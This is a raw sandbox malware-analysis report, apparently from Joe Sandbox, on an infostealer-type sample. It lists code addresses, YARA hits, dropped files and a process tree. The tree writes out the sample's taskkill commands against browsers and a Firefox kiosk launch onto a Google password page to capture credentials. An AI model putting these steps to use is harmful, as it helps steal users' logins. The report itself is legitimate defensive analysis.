Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_1000E965	13_2_1000E965
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_10010A80	13_2_10010A80
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 14_2_027D2630	14_2_027D2630
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00411822	15_2_00411822
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044D0C0	15_2_0044D0C0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004300B0	15_2_004300B0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00428900	15_2_00428900
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041B1D8	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040DA3A	15_2_0040DA3A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00420B40	15_2_00420B40
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044C320	15_2_0044C320
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004373CB	15_2_004373CB
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0042CBB0	15_2_0042CBB0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041A430	15_2_0041A430
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00443C30	15_2_00443C30
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004155F6	15_2_004155F6
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004476C0	15_2_004476C0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00449775	15_2_00449775
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040D780	15_2_0040D780
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00401040	15_2_00401040
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0042D850	15_2_0042D850
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00424860	15_2_00424860
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00404802	15_2_00404802
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00407006	15_2_00407006
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00409030	15_2_00409030
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044C8C0	15_2_0044C8C0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004490EF	15_2_004490EF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044A88E	15_2_0044A88E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044C0A0	15_2_0044C0A0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004318B6	15_2_004318B6
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00430962	15_2_00430962
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00445160	15_2_00445160
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043617E	15_2_0043617E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044B900	15_2_0044B900
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00429910	15_2_00429910
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00432120	15_2_00432120
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004311DA	15_2_004311DA
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004361D8	15_2_004361D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00420180	15_2_00420180
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00455186	15_2_00455186
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004379A0	15_2_004379A0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004551A3	15_2_004551A3
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004379AF	15_2_004379AF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004139AF	15_2_004139AF
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044B9B0	15_2_0044B9B0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004269B4	15_2_004269B4
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00448240	15_2_00448240
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044BA40	15_2_0044BA40
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00443250	15_2_00443250
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043B238	15_2_0043B238
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041FA3D	15_2_0041FA3D
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00438AC0	15_2_00438AC0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041E2C6	15_2_0041E2C6
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00436AE5	15_2_00436AE5
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040D2F0	15_2_0040D2F0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004362F9	15_2_004362F9
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00423A80	15_2_00423A80
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0042BA81	15_2_0042BA81
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00431A8C	15_2_00431A8C
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0042DAA2	15_2_0042DAA2
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004292A0	15_2_004292A0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00402B50	15_2_00402B50
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00444B60	15_2_00444B60
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043DB6D	15_2_0043DB6D
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00416312	15_2_00416312
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041D315	15_2_0041D315
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040FB20	15_2_0040FB20
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00408B20	15_2_00408B20
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0042D32F	15_2_0042D32F
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040CBD0	15_2_0040CBD0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040A390	15_2_0040A390
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00445390	15_2_00445390
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00435440	15_2_00435440
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041B1D8	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040C470	15_2_0040C470
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044BCE0	15_2_0044BCE0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00435CF0	15_2_00435CF0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044CC80	15_2_0044CC80
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040DC9E	15_2_0040DC9E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00432540	15_2_00432540
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041CD45	15_2_0041CD45
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00447D50	15_2_00447D50
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041B55A	15_2_0041B55A
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043357B	15_2_0043357B
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043C530	15_2_0043C530
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00403580	15_2_00403580
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00420589	15_2_00420589
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040B590	15_2_0040B590
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043E5A0	15_2_0043E5A0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004095B0	15_2_004095B0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_004245B0	15_2_004245B0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00423E50	15_2_00423E50
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00430650	15_2_00430650
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0040E660	15_2_0040E660
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044266C	15_2_0044266C
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00430670	15_2_00430670
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00439E08	15_2_00439E08
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00407E30	15_2_00407E30
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041EEFE	15_2_0041EEFE
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044B680	15_2_0044B680
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044BE90	15_2_0044BE90
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00445747	15_2_00445747
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00444750	15_2_00444750
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0042F760	15_2_0042F760
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00403F20	15_2_00403F20
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00442FF0	15_2_00442FF0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00402790	15_2_00402790
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_00416F90	15_2_00416F90
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044B790	15_2_0044B790
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0043BFA3	15_2_0043BFA3
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044B7A9	15_2_0044B7A9
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0044B7AB	15_2_0044B7AB
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B6146	15_2_703B6146
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703BDAA0	15_2_703BDAA0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B2ADC	15_2_703B2ADC
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B3329	15_2_703B3329
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B5CE8	15_2_703B5CE8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703C4531	15_2_703C4531
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B25E0	15_2_703B25E0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B2EF4	15_2_703B2EF4
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B5F17	15_2_703B5F17
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703B375E	15_2_703B375E
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703BDF4E	15_2_703BDF4E

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: String function: 703B22A0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: String function: 0041A420 appears 110 times
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: String function: 0040B380 appears 46 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00709D00 appears 35 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 10003170 appears 34 times

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7356 -s 800

Source: AaxpYFDQ32.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000004.00000002.1345225664.000000000DF48000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000004.00000002.1345225664.000000000DF9E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000004.00000002.1345225664.000000000E02E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: random[1].exe1.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5a20da7e37.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Y-Cleaner.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: AaxpYFDQ32.exe	Static PE information: Section: ZLIB complexity 0.9989238980716253
Source: AaxpYFDQ32.exe	Static PE information: Section: sfojeshh ZLIB complexity 0.9942515717455621
Source: rapes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9989238980716253
Source: rapes.exe.0.dr	Static PE information: Section: sfojeshh ZLIB complexity 0.9942515717455621
Source: random[2].exe.3.dr	Static PE information: Section: cwewqzez ZLIB complexity 0.9948174737237238
Source: 2009d9de82.exe.3.dr	Static PE information: Section: cwewqzez ZLIB complexity 0.9948174737237238
Source: random[1].exe0.3.dr	Static PE information: Section: ZLIB complexity 0.999683277027027
Source: random[1].exe0.3.dr	Static PE information: Section: wlxljpjy ZLIB complexity 0.9947226197649894
Source: 7f41c1bc85.exe.3.dr	Static PE information: Section: ZLIB complexity 0.999683277027027
Source: 7f41c1bc85.exe.3.dr	Static PE information: Section: wlxljpjy ZLIB complexity 0.9947226197649894
Source: random[1].exe1.3.dr	Static PE information: Section: .CSS ZLIB complexity 1.0003352171985815
Source: 5a20da7e37.exe.3.dr	Static PE information: Section: .CSS ZLIB complexity 1.0003352171985815

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@65/36@79/19

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00702940 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

13_2_00702940

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

13_2_00701870

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2248:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7356
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7380:120:WilError_03

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

File created: C:\Users\user~1\AppData\Local\Temp\bb556cff4a

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4bcefcec83.exe, 00000014.00000003.2246773775.0000000005EFA000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2247436359.0000000001740000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2317827023.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3598567325.00000000012AB000.00000004.00000800.00020000.00000000.sdmp, 4bcefcec83.exe, 00000016.00000003.3148559687.000000000128E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: AaxpYFDQ32.exe	Virustotal: Detection: 77%
Source: AaxpYFDQ32.exe	ReversingLabs: Detection: 71%

Source: AaxpYFDQ32.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: AaxpYFDQ32.exe	String found in binary or memory: " /add
Source: AaxpYFDQ32.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: " /add
Source: c2f48edf32.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7f41c1bc85.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

File read: C:\Users\user\Desktop\AaxpYFDQ32.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\AaxpYFDQ32.exe "C:\Users\user\Desktop\AaxpYFDQ32.exe"
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user~1\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe "C:\Users\user~1\AppData\Local\Temp\10128840101\c2f48edf32.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe "C:\Users\user~1\AppData\Local\Temp\10128850101\7f41c1bc85.exe"
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe"
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process created: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe "C:\Users\user~1\AppData\Local\Temp\10128860101\5a20da7e37.exe"
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7356 -s 800
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe "C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe "C:\Users\user~1\AppData\Local\Temp\10128880101\2009d9de82.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe "C:\Users\user~1\AppData\Local\Temp\10128870101\4bcefcec83.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe "C:\Users\user~1\AppData\Local\Temp\10128890101\3353aa7d43.exe"
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe "C:\Users\user~1\AppData\Local\Temp\10128880101\2009d9de82.exe"
